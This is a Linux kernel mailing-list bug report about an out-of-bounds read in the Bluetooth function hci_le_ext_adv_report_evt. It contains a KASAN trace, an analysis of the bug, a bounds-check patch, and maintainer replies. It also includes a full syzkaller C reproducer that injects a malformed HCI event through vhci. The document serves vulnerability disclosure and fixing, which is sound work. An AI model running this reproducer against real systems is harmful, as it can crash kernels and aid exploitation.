diff mbox series

BUG: Out of bounds read in hci_le_ext_adv_report_evt()

Message ID 13aed72.61c7.17853a6a5cd.Coremail.linma@zju.edu.cn (mailing list archive)
State New, archived
Headers show
Series BUG: Out of bounds read in hci_le_ext_adv_report_evt() | expand

Commit Message

Lin Ma March 21, 2021, 7:18 a.m. UTC 
Hi there:

Our team, zjublocksec, found the following problem during fuzzing, which seems undiscovered in previous.

==== Basic Information =========================

HEAD commit: 1e28eed17697bcf343c6743f0028cc3b5dd88bf0 (tag: v5.12-rc3, master)
Kernel config: refer to attached file (config)
C POC code: refer to attached file (poc.c)

==== KASAN Output =========================

[   20.294394] BUG: KASAN: slab-out-of-bounds in hci_le_meta_evt+0x310b/0x3850
[   20.300333] Read of size 2 at addr ffff888013805819 by task kworker/u5:0/53
[   20.306227]
[   20.307601] CPU: 0 PID: 53 Comm: kworker/u5:0 Not tainted 5.12.0-rc3+ #5
[   20.313304] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
[   20.323006] Workqueue: hci0 hci_rx_work
[   20.326303] Call Trace:
[   20.328466]  dump_stack+0xdd/0x137
[   20.331425]  ? hci_le_meta_evt+0x310b/0x3850
[   20.335099]  ? hci_le_meta_evt+0x310b/0x3850
[   20.338773]  print_address_description.constprop.0+0x18/0x130
[   20.343697]  ? hci_le_meta_evt+0x310b/0x3850
[   20.347383]  ? hci_le_meta_evt+0x310b/0x3850
[   20.351059]  kasan_report.cold+0x7f/0x111
[   20.354512]  ? hci_le_meta_evt+0x310b/0x3850
[   20.358187]  hci_le_meta_evt+0x310b/0x3850
[   20.361722]  ? run_timer_softirq+0x120/0x120
[   20.365402]  ? queue_work_on+0x69/0xa0
[   20.368654]  ? del_timer+0xb6/0x100
[   20.371673]  ? kasan_set_track+0x1c/0x30
[   20.375062]  ? le_conn_complete_evt+0x16e0/0x16e0
[   20.379092]  ? skb_release_data+0x519/0x610
[   20.382686]  ? kfree+0x91/0x270
[   20.385413]  ? kasan_set_track+0x1c/0x30
[   20.388797]  ? mutex_lock+0x89/0xd0
[   20.391835]  ? __mutex_lock_slowpath+0x10/0x10
[   20.395651]  ? hci_event_packet+0x436/0xa100
[   20.399327]  ? bt_dbg+0xe1/0x130
[   20.402118]  hci_event_packet+0x3213/0xa100
[   20.405712]  ? _raw_write_lock_irqsave+0xd0/0xd0
[   20.409672]  ? bt_dbg+0xe1/0x130
[   20.412489]  ? bt_dbg+0xe1/0x130
[   20.415304]  ? bt_err_ratelimited+0x140/0x140
[   20.419059]  ? hci_cmd_status_evt+0x46a0/0x46a0
[   20.422955]  ? bt_dbg+0xe1/0x130
[   20.425754]  ? bt_err_ratelimited+0x50/0x140
[   20.429429]  ? __wake_up_common_lock+0xde/0x130
[   20.433333]  ? __wake_up_common+0x5d0/0x5d0
[   20.436926]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   20.440844]  ? hci_chan_sent+0x23/0x800
[   20.444167]  ? __sanitizer_cov_trace_switch+0x50/0x90
[   20.448504]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   20.452396]  ? bt_dbg+0xe1/0x130
[   20.455205]  ? bt_err_ratelimited+0x140/0x140
[   20.458961]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   20.462847]  ? _raw_write_lock_irqsave+0xd0/0xd0
[   20.466832]  ? copy_fpregs_to_fpstate+0x14f/0x1d0
[   20.470904]  hci_rx_work+0x2b9/0x8e0
[   20.473993]  ? strscpy+0xa0/0x2a0
[   20.476905]  process_one_work+0x747/0xfe0
[   20.480392]  ? kthread_data+0x4f/0xc0
[   20.483561]  worker_thread+0x641/0x1190
[   20.486883]  ? rescuer_thread+0xd00/0xd00
[   20.490332]  kthread+0x344/0x410
[   20.493127]  ? kthread_create_worker_on_cpu+0xf0/0xf0
[   20.497457]  ret_from_fork+0x22/0x30
[   20.500563]
[   20.501919] Allocated by task 223:
[   20.504882]  kasan_save_stack+0x1b/0x40
[   20.508212]  __kasan_kmalloc+0x7a/0x90
[   20.511459]  load_elf_phdrs+0x103/0x210
[   20.514763]  load_elf_binary+0x1dc/0x4dd0
[   20.518220]  bprm_execve+0x741/0x1460
[   20.521401]  do_execveat_common+0x621/0x7c0
[   20.525013]  __x64_sys_execve+0x8f/0xc0
[   20.528354]  do_syscall_64+0x33/0x40
[   20.531465]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   20.535791]
[   20.537154] The buggy address belongs to the object at ffff888013805600
[   20.537154]  which belongs to the cache kmalloc-512 of size 512
[   20.547717] The buggy address is located 25 bytes to the right of
[   20.547717]  512-byte region [ffff888013805600, ffff888013805800)
[   20.557963] The buggy address belongs to the page:
[   20.562066] page:00000000ef0b1214 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888013802000 pfn:0x13800
[   20.571028] head:00000000ef0b1214 order:3 compound_mapcount:0 compound_pincount:0
[   20.577371] flags: 0x100000000010200(slab|head)
[   20.581264] raw: 0100000000010200 ffff888006441450 ffffea0000473408 ffff888006443940
[   20.587833] raw: ffff888013802000 000000000015000c 00000001ffffffff 0000000000000000
[   20.594388] page dumped because: kasan: bad access detected
[   20.599157]
[   20.600503] Memory state around the buggy address:
[   20.604598]  ffff888013805700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   20.610722]  ffff888013805780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   20.616835] >ffff888013805800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   20.622963]                             ^
[   20.626401]  ffff888013805880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   20.632507]  ffff888013805900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

==== Bug Analysis =========================

In fact, this out-of-bounds read is quite similar to an old found bug (KASAN: out-of-bounds read in hci_le_direct_adv_report_evt). You can check this link to get useful information: https://groups.google.com/g/syzkaller-bugs/c/Z9-x9udEIxk/m/0NsClcU4BAAJ

Anyhow, the buggy code for this time is shown below:

static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
        u8 num_reports = skb->data[0];
        void *ptr = &skb->data[1];

        hci_dev_lock(hdev);

        while (num_reports--) {
                struct hci_ev_le_ext_adv_report *ev = ptr;
                u8 legacy_evt_type;
                u16 evt_type;

                evt_type = __le16_to_cpu(ev->evt_type);
                legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
                if (legacy_evt_type != LE_ADV_INVALID) {
                        process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
                                           ev->bdaddr_type, NULL, 0, ev->rssi,
                                           ev->data, ev->length,
                                           !(evt_type & LE_EXT_ADV_LEGACY_PDU));
                }

                ptr += sizeof(*ev) + ev->length;
        }

        hci_dev_unlock(hdev);
}

As you can see, the variable `num_reports` is not being properly checked. The malformed event packet can fake a huge `num_reports` and cause `process_adv_report` to access invalid memory space. Yeah, the internal of this bug is almost equivalent to the already found bug.

==== Suggested Patch =========================

As this bug is quite similar to that found one, it's recommended to adopt a similar patch here like below (also in the attached file: patch.diff).


The idea here is just to prevent the `ptr` to go over bound of the `skb->len`. After testing, the reproducer code will not work out against this fix. :)

==== Others =========================

Please let me know if there is any confuses.
Best wishes!
// https://syzkaller.appspot.com/bug?id=eb0eb228e0b2381429aa0d10a08ea25c7cb6cc3d
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>

#include <linux/capability.h>

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

const int kInitNetNsFd = 239;

static long syz_init_net_socket(volatile long domain, volatile long type,
                                volatile long proto)
{
  int netns = open("/proc/self/ns/net", O_RDONLY);
  if (netns == -1)
    return netns;
  if (setns(kInitNetNsFd, 0))
    return -1;
  int sock = syscall(__NR_socket, domain, type, proto);
  int err = errno;
  if (setns(netns, 0))
    exit(1);
  close(netns);
  errno = err;
  return sock;
}

#define BTPROTO_HCI 1
#define ACL_LINK 1
#define SCAN_PAGE 2

typedef struct {
  uint8_t b[6];
} __attribute__((packed)) bdaddr_t;

#define HCI_COMMAND_PKT 1
#define HCI_EVENT_PKT 4
#define HCI_VENDOR_PKT 0xff

struct hci_command_hdr {
  uint16_t opcode;
  uint8_t plen;
} __attribute__((packed));

struct hci_event_hdr {
  uint8_t evt;
  uint8_t plen;
} __attribute__((packed));

#define HCI_EV_CONN_COMPLETE 0x03
struct hci_ev_conn_complete {
  uint8_t status;
  uint16_t handle;
  bdaddr_t bdaddr;
  uint8_t link_type;
  uint8_t encr_mode;
} __attribute__((packed));

#define HCI_EV_CONN_REQUEST 0x04
struct hci_ev_conn_request {
  bdaddr_t bdaddr;
  uint8_t dev_class[3];
  uint8_t link_type;
} __attribute__((packed));

#define HCI_EV_REMOTE_FEATURES 0x0b
struct hci_ev_remote_features {
  uint8_t status;
  uint16_t handle;
  uint8_t features[8];
} __attribute__((packed));

#define HCI_EV_CMD_COMPLETE 0x0e
struct hci_ev_cmd_complete {
  uint8_t ncmd;
  uint16_t opcode;
} __attribute__((packed));

#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a

#define HCI_OP_READ_BUFFER_SIZE 0x1005
struct hci_rp_read_buffer_size {
  uint8_t status;
  uint16_t acl_mtu;
  uint8_t sco_mtu;
  uint16_t acl_max_pkt;
  uint16_t sco_max_pkt;
} __attribute__((packed));

#define HCI_OP_READ_BD_ADDR 0x1009
struct hci_rp_read_bd_addr {
  uint8_t status;
  bdaddr_t bdaddr;
} __attribute__((packed));

#define HCI_EV_LE_META 0x3e
struct hci_ev_le_meta {
  uint8_t subevent;
} __attribute__((packed));

#define HCI_EV_LE_CONN_COMPLETE 0x01
struct hci_ev_le_conn_complete {
  uint8_t status;
  uint16_t handle;
  uint8_t role;
  uint8_t bdaddr_type;
  bdaddr_t bdaddr;
  uint16_t interval;
  uint16_t latency;
  uint16_t supervision_timeout;
  uint8_t clk_accurancy;
} __attribute__((packed));

struct hci_dev_req {
  uint16_t dev_id;
  uint32_t dev_opt;
};

struct vhci_vendor_pkt {
  uint8_t type;
  uint8_t opcode;
  uint16_t id;
};

#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)

static int vhci_fd = -1;

static void hci_send_event_packet(int fd, uint8_t evt, void* data,
                                  size_t data_len)
{
  struct iovec iv[3];
  struct hci_event_hdr hdr;
  hdr.evt = evt;
  hdr.plen = data_len;
  uint8_t type = HCI_EVENT_PKT;
  iv[0].iov_base = &type;
  iv[0].iov_len = sizeof(type);
  iv[1].iov_base = &hdr;
  iv[1].iov_len = sizeof(hdr);
  iv[2].iov_base = data;
  iv[2].iov_len = data_len;
  if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
    exit(1);
}

static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data,
                                        size_t data_len)
{
  struct iovec iv[4];
  struct hci_event_hdr hdr;
  hdr.evt = HCI_EV_CMD_COMPLETE;
  hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len;
  struct hci_ev_cmd_complete evt_hdr;
  evt_hdr.ncmd = 1;
  evt_hdr.opcode = opcode;
  uint8_t type = HCI_EVENT_PKT;
  iv[0].iov_base = &type;
  iv[0].iov_len = sizeof(type);
  iv[1].iov_base = &hdr;
  iv[1].iov_len = sizeof(hdr);
  iv[2].iov_base = &evt_hdr;
  iv[2].iov_len = sizeof(evt_hdr);
  iv[3].iov_base = data;
  iv[3].iov_len = data_len;
  if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
    exit(1);
}

static bool process_command_pkt(int fd, char* buf, ssize_t buf_size)
{
  struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf;
  if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) ||
      hdr->plen != buf_size - sizeof(struct hci_command_hdr)) {
    exit(1);
  }
  switch (hdr->opcode) {
  case HCI_OP_WRITE_SCAN_ENABLE: {
    uint8_t status = 0;
    hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status));
    return true;
  }
  case HCI_OP_READ_BD_ADDR: {
    struct hci_rp_read_bd_addr rp = {0};
    rp.status = 0;
    memset(&rp.bdaddr, 0xaa, 6);
    hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
    return false;
  }
  case HCI_OP_READ_BUFFER_SIZE: {
    struct hci_rp_read_buffer_size rp = {0};
    rp.status = 0;
    rp.acl_mtu = 1021;
    rp.sco_mtu = 96;
    rp.acl_max_pkt = 4;
    rp.sco_max_pkt = 6;
    hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
    return false;
  }
  }
  char dummy[0xf9] = {0};
  hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy));
  return false;
}

static void* event_thread(void* arg)
{
  while (1) {
    char buf[1024] = {0};
    ssize_t buf_size = read(vhci_fd, buf, sizeof(buf));
    if (buf_size < 0)
      exit(1);
    if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) {
      if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1))
        break;
    }
  }
  return NULL;
}
#define HCI_HANDLE_1 200
#define HCI_HANDLE_2 201

static void initialize_vhci()
{
  int hci_sock = syz_init_net_socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
  if (hci_sock < 0)
    exit(1);
  vhci_fd = open("/dev/vhci", O_RDWR);
  if (vhci_fd == -1)
    exit(1);
  const int kVhciFd = 241;
  if (dup2(vhci_fd, kVhciFd) < 0)
    exit(1);
  close(vhci_fd);
  vhci_fd = kVhciFd;
  struct vhci_vendor_pkt vendor_pkt;
  if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt))
    exit(1);
  if (vendor_pkt.type != HCI_VENDOR_PKT)
    exit(1);
  pthread_t th;
  if (pthread_create(&th, NULL, event_thread, NULL))
    exit(1);
  if (ioctl(hci_sock, HCIDEVUP, vendor_pkt.id) && errno != EALREADY)
    exit(1);
  struct hci_dev_req dr = {0};
  dr.dev_id = vendor_pkt.id;
  dr.dev_opt = SCAN_PAGE;
  if (ioctl(hci_sock, HCISETSCAN, &dr))
    exit(1);
  struct hci_ev_conn_request request;
  memset(&request, 0, sizeof(request));
  memset(&request.bdaddr, 0xaa, 6);
  *(uint8_t*)&request.bdaddr.b[5] = 0x10;
  request.link_type = ACL_LINK;
  hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request,
                        sizeof(request));
  struct hci_ev_conn_complete complete;
  memset(&complete, 0, sizeof(complete));
  complete.status = 0;
  complete.handle = HCI_HANDLE_1;
  memset(&complete.bdaddr, 0xaa, 6);
  *(uint8_t*)&complete.bdaddr.b[5] = 0x10;
  complete.link_type = ACL_LINK;
  complete.encr_mode = 0;
  hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete,
                        sizeof(complete));
  struct hci_ev_remote_features features;
  memset(&features, 0, sizeof(features));
  features.status = 0;
  features.handle = HCI_HANDLE_1;
  hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features,
                        sizeof(features));
  struct {
    struct hci_ev_le_meta le_meta;
    struct hci_ev_le_conn_complete le_conn;
  } le_conn;
  memset(&le_conn, 0, sizeof(le_conn));
  le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
  memset(&le_conn.le_conn.bdaddr, 0xaa, 6);
  *(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11;
  le_conn.le_conn.role = 1;
  le_conn.le_conn.handle = HCI_HANDLE_2;
  hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn));
  pthread_join(th, NULL);
  close(hci_sock);
}

static long syz_emit_vhci(volatile long a0, volatile long a1)
{
  if (vhci_fd < 0)
    return (uintptr_t)-1;
  char* data = (char*)a0;
  uint32_t length = a1;
  return write(vhci_fd, data, length);
}

static void setup_common()
{
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void loop();

static void sandbox_common()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  setsid();
  int netns = open("/proc/self/ns/net", O_RDONLY);
  if (netns == -1)
    exit(1);
  if (dup2(netns, kInitNetNsFd) < 0)
    exit(1);
  close(netns);
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);
  if (unshare(CLONE_NEWNS)) {
  }
  if (unshare(CLONE_NEWIPC)) {
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {
  }
  if (unshare(CLONE_SYSVSEM)) {
  }
  typedef struct {
    const char* name;
    const char* value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},
      {"/proc/sys/kernel/shmall", "536870912"},
      {"/proc/sys/kernel/shmmni", "1024"},
      {"/proc/sys/kernel/msgmax", "8192"},
      {"/proc/sys/kernel/msgmni", "1024"},
      {"/proc/sys/kernel/msgmnb", "1024"},
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid)
{
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static void drop_caps(void)
{
  struct __user_cap_header_struct cap_hdr = {};
  struct __user_cap_data_struct cap_data[2] = {};
  cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
  cap_hdr.pid = getpid();
  if (syscall(SYS_capget, &cap_hdr, &cap_data))
    exit(1);
  const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
  cap_data[0].effective &= ~drop;
  cap_data[0].permitted &= ~drop;
  cap_data[0].inheritable &= ~drop;
  if (syscall(SYS_capset, &cap_hdr, &cap_data))
    exit(1);
}

static int do_sandbox_none(void)
{
  if (unshare(CLONE_NEWPID)) {
  }
  int pid = fork();
  if (pid != 0)
    return wait_for_loop(pid);
  setup_common();
  sandbox_common();
  drop_caps();
  if (unshare(CLONE_NEWNET)) {
  }
  initialize_vhci();
  loop();
  exit(1);
}

void loop(void)
{
  memcpy(
      (void*)0x20000000,
      "\x04\x3e\x13\x0d\xc9\x00\x89\xf7\x00\x00\x00\x00\x00\x00",
      0xe);
  syz_emit_vhci(0x20000000, 0xe);
}
int main(void)
{
  syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
  syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
  syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
  do_sandbox_none();
  return 0;
}

Comments

Luiz Augusto von Dentz March 21, 2021, 9:06 p.m. UTC | #1 
Hi,

On Sun, Mar 21, 2021 at 12:19 AM 马麟 <linma@zju.edu.cn> wrote:
>
> Hi there:
>
> Our team, zjublocksec, found the following problem during fuzzing, which seems undiscovered in previous.
>
> ==== Basic Information =========================
>
> HEAD commit: 1e28eed17697bcf343c6743f0028cc3b5dd88bf0 (tag: v5.12-rc3, master)
> Kernel config: refer to attached file (config)
> C POC code: refer to attached file (poc.c)
>
> ==== KASAN Output =========================
>
> [   20.294394] BUG: KASAN: slab-out-of-bounds in hci_le_meta_evt+0x310b/0x3850
> [   20.300333] Read of size 2 at addr ffff888013805819 by task kworker/u5:0/53
> [   20.306227]
> [   20.307601] CPU: 0 PID: 53 Comm: kworker/u5:0 Not tainted 5.12.0-rc3+ #5
> [   20.313304] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
> [   20.323006] Workqueue: hci0 hci_rx_work
> [   20.326303] Call Trace:
> [   20.328466]  dump_stack+0xdd/0x137
> [   20.331425]  ? hci_le_meta_evt+0x310b/0x3850
> [   20.335099]  ? hci_le_meta_evt+0x310b/0x3850
> [   20.338773]  print_address_description.constprop.0+0x18/0x130
> [   20.343697]  ? hci_le_meta_evt+0x310b/0x3850
> [   20.347383]  ? hci_le_meta_evt+0x310b/0x3850
> [   20.351059]  kasan_report.cold+0x7f/0x111
> [   20.354512]  ? hci_le_meta_evt+0x310b/0x3850
> [   20.358187]  hci_le_meta_evt+0x310b/0x3850
> [   20.361722]  ? run_timer_softirq+0x120/0x120
> [   20.365402]  ? queue_work_on+0x69/0xa0
> [   20.368654]  ? del_timer+0xb6/0x100
> [   20.371673]  ? kasan_set_track+0x1c/0x30
> [   20.375062]  ? le_conn_complete_evt+0x16e0/0x16e0
> [   20.379092]  ? skb_release_data+0x519/0x610
> [   20.382686]  ? kfree+0x91/0x270
> [   20.385413]  ? kasan_set_track+0x1c/0x30
> [   20.388797]  ? mutex_lock+0x89/0xd0
> [   20.391835]  ? __mutex_lock_slowpath+0x10/0x10
> [   20.395651]  ? hci_event_packet+0x436/0xa100
> [   20.399327]  ? bt_dbg+0xe1/0x130
> [   20.402118]  hci_event_packet+0x3213/0xa100
> [   20.405712]  ? _raw_write_lock_irqsave+0xd0/0xd0
> [   20.409672]  ? bt_dbg+0xe1/0x130
> [   20.412489]  ? bt_dbg+0xe1/0x130
> [   20.415304]  ? bt_err_ratelimited+0x140/0x140
> [   20.419059]  ? hci_cmd_status_evt+0x46a0/0x46a0
> [   20.422955]  ? bt_dbg+0xe1/0x130
> [   20.425754]  ? bt_err_ratelimited+0x50/0x140
> [   20.429429]  ? __wake_up_common_lock+0xde/0x130
> [   20.433333]  ? __wake_up_common+0x5d0/0x5d0
> [   20.436926]  ? _raw_spin_lock_irqsave+0x7b/0xd0
> [   20.440844]  ? hci_chan_sent+0x23/0x800
> [   20.444167]  ? __sanitizer_cov_trace_switch+0x50/0x90
> [   20.448504]  ? _raw_spin_lock_irqsave+0x7b/0xd0
> [   20.452396]  ? bt_dbg+0xe1/0x130
> [   20.455205]  ? bt_err_ratelimited+0x140/0x140
> [   20.458961]  ? _raw_spin_lock_irqsave+0x7b/0xd0
> [   20.462847]  ? _raw_write_lock_irqsave+0xd0/0xd0
> [   20.466832]  ? copy_fpregs_to_fpstate+0x14f/0x1d0
> [   20.470904]  hci_rx_work+0x2b9/0x8e0
> [   20.473993]  ? strscpy+0xa0/0x2a0
> [   20.476905]  process_one_work+0x747/0xfe0
> [   20.480392]  ? kthread_data+0x4f/0xc0
> [   20.483561]  worker_thread+0x641/0x1190
> [   20.486883]  ? rescuer_thread+0xd00/0xd00
> [   20.490332]  kthread+0x344/0x410
> [   20.493127]  ? kthread_create_worker_on_cpu+0xf0/0xf0
> [   20.497457]  ret_from_fork+0x22/0x30
> [   20.500563]
> [   20.501919] Allocated by task 223:
> [   20.504882]  kasan_save_stack+0x1b/0x40
> [   20.508212]  __kasan_kmalloc+0x7a/0x90
> [   20.511459]  load_elf_phdrs+0x103/0x210
> [   20.514763]  load_elf_binary+0x1dc/0x4dd0
> [   20.518220]  bprm_execve+0x741/0x1460
> [   20.521401]  do_execveat_common+0x621/0x7c0
> [   20.525013]  __x64_sys_execve+0x8f/0xc0
> [   20.528354]  do_syscall_64+0x33/0x40
> [   20.531465]  entry_SYSCALL_64_after_hwframe+0x44/0xae
> [   20.535791]
> [   20.537154] The buggy address belongs to the object at ffff888013805600
> [   20.537154]  which belongs to the cache kmalloc-512 of size 512
> [   20.547717] The buggy address is located 25 bytes to the right of
> [   20.547717]  512-byte region [ffff888013805600, ffff888013805800)
> [   20.557963] The buggy address belongs to the page:
> [   20.562066] page:00000000ef0b1214 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888013802000 pfn:0x13800
> [   20.571028] head:00000000ef0b1214 order:3 compound_mapcount:0 compound_pincount:0
> [   20.577371] flags: 0x100000000010200(slab|head)
> [   20.581264] raw: 0100000000010200 ffff888006441450 ffffea0000473408 ffff888006443940
> [   20.587833] raw: ffff888013802000 000000000015000c 00000001ffffffff 0000000000000000
> [   20.594388] page dumped because: kasan: bad access detected
> [   20.599157]
> [   20.600503] Memory state around the buggy address:
> [   20.604598]  ffff888013805700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> [   20.610722]  ffff888013805780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> [   20.616835] >ffff888013805800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> [   20.622963]                             ^
> [   20.626401]  ffff888013805880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> [   20.632507]  ffff888013805900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>
> ==== Bug Analysis =========================
>
> In fact, this out-of-bounds read is quite similar to an old found bug (KASAN: out-of-bounds read in hci_le_direct_adv_report_evt). You can check this link to get useful information: https://groups.google.com/g/syzkaller-bugs/c/Z9-x9udEIxk/m/0NsClcU4BAAJ
>
> Anyhow, the buggy code for this time is shown below:
>
> static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
> {
>         u8 num_reports = skb->data[0];
>         void *ptr = &skb->data[1];
>
>         hci_dev_lock(hdev);
>
>         while (num_reports--) {
>                 struct hci_ev_le_ext_adv_report *ev = ptr;
>                 u8 legacy_evt_type;
>                 u16 evt_type;
>
>                 evt_type = __le16_to_cpu(ev->evt_type);
>                 legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
>                 if (legacy_evt_type != LE_ADV_INVALID) {
>                         process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
>                                            ev->bdaddr_type, NULL, 0, ev->rssi,
>                                            ev->data, ev->length,
>                                            !(evt_type & LE_EXT_ADV_LEGACY_PDU));
>                 }
>
>                 ptr += sizeof(*ev) + ev->length;
>         }
>
>         hci_dev_unlock(hdev);
> }
>
> As you can see, the variable `num_reports` is not being properly checked. The malformed event packet can fake a huge `num_reports` and cause `process_adv_report` to access invalid memory space. Yeah, the internal of this bug is almost equivalent to the already found bug.
>
> ==== Suggested Patch =========================
>
> As this bug is quite similar to that found one, it's recommended to adopt a similar patch here like below (also in the attached file: patch.diff).
>
> --- a/net/bluetooth/hci_event.c
> +++ b/net/bluetooth/hci_event.c
> @@ -5685,10 +5685,14 @@ static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
>  {
>         u8 num_reports = skb->data[0];
>         void *ptr = &skb->data[1];
> +       u32 len_processed = 0;
>
>         hci_dev_lock(hdev);
>
>         while (num_reports--) {
> +               if (len_processed > skb->len)
> +                       break;
> +
>                 struct hci_ev_le_ext_adv_report *ev = ptr;
>                 u8 legacy_evt_type;
>                 u16 evt_type;
> @@ -5703,6 +5707,7 @@ static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
>                 }
>
>                 ptr += sizeof(*ev) + ev->length;
> +               len_processed += sizeof(*ev) + ev->length;
>         }
>
>         hci_dev_unlock(hdev);
>
> The idea here is just to prevent the `ptr` to go over bound of the `skb->len`. After testing, the reproducer code will not work out against this fix. :)

Or we do something like
https://lore.kernel.org/linux-bluetooth/20201024002251.1389267-1-luiz.dentz@gmail.com/,
that said the reason we didn't applied my patches was that the
controller would be the one generating invalid data, but it seems you
are reproducing with vhci controller which is only used for emulating
a controller and requires root privileges so it is unlikely these
conditions would happens with hardware itself, in the other hand as
there seems to be more and more reports using vhci to emulate broken
events it perhaps more productive to introduce proper checks for all
events so we don't have to deal with more reports like this in the
future.

> ==== Others =========================
>
> Please let me know if there is any confuses.
> Best wishes!
Emil Lenngren March 21, 2021, 11:23 p.m. UTC | #2 
Hi,

Den mån 22 mars 2021 kl 00:01 skrev Luiz Augusto von Dentz
<luiz.dentz@gmail.com>:
> Or we do something like
> https://lore.kernel.org/linux-bluetooth/20201024002251.1389267-1-luiz.dentz@gmail.com/,
> that said the reason we didn't applied my patches was that the
> controller would be the one generating invalid data, but it seems you
> are reproducing with vhci controller which is only used for emulating
> a controller and requires root privileges so it is unlikely these
> conditions would happens with hardware itself, in the other hand as
> there seems to be more and more reports using vhci to emulate broken
> events it perhaps more productive to introduce proper checks for all
> events so we don't have to deal with more reports like this in the
> future.

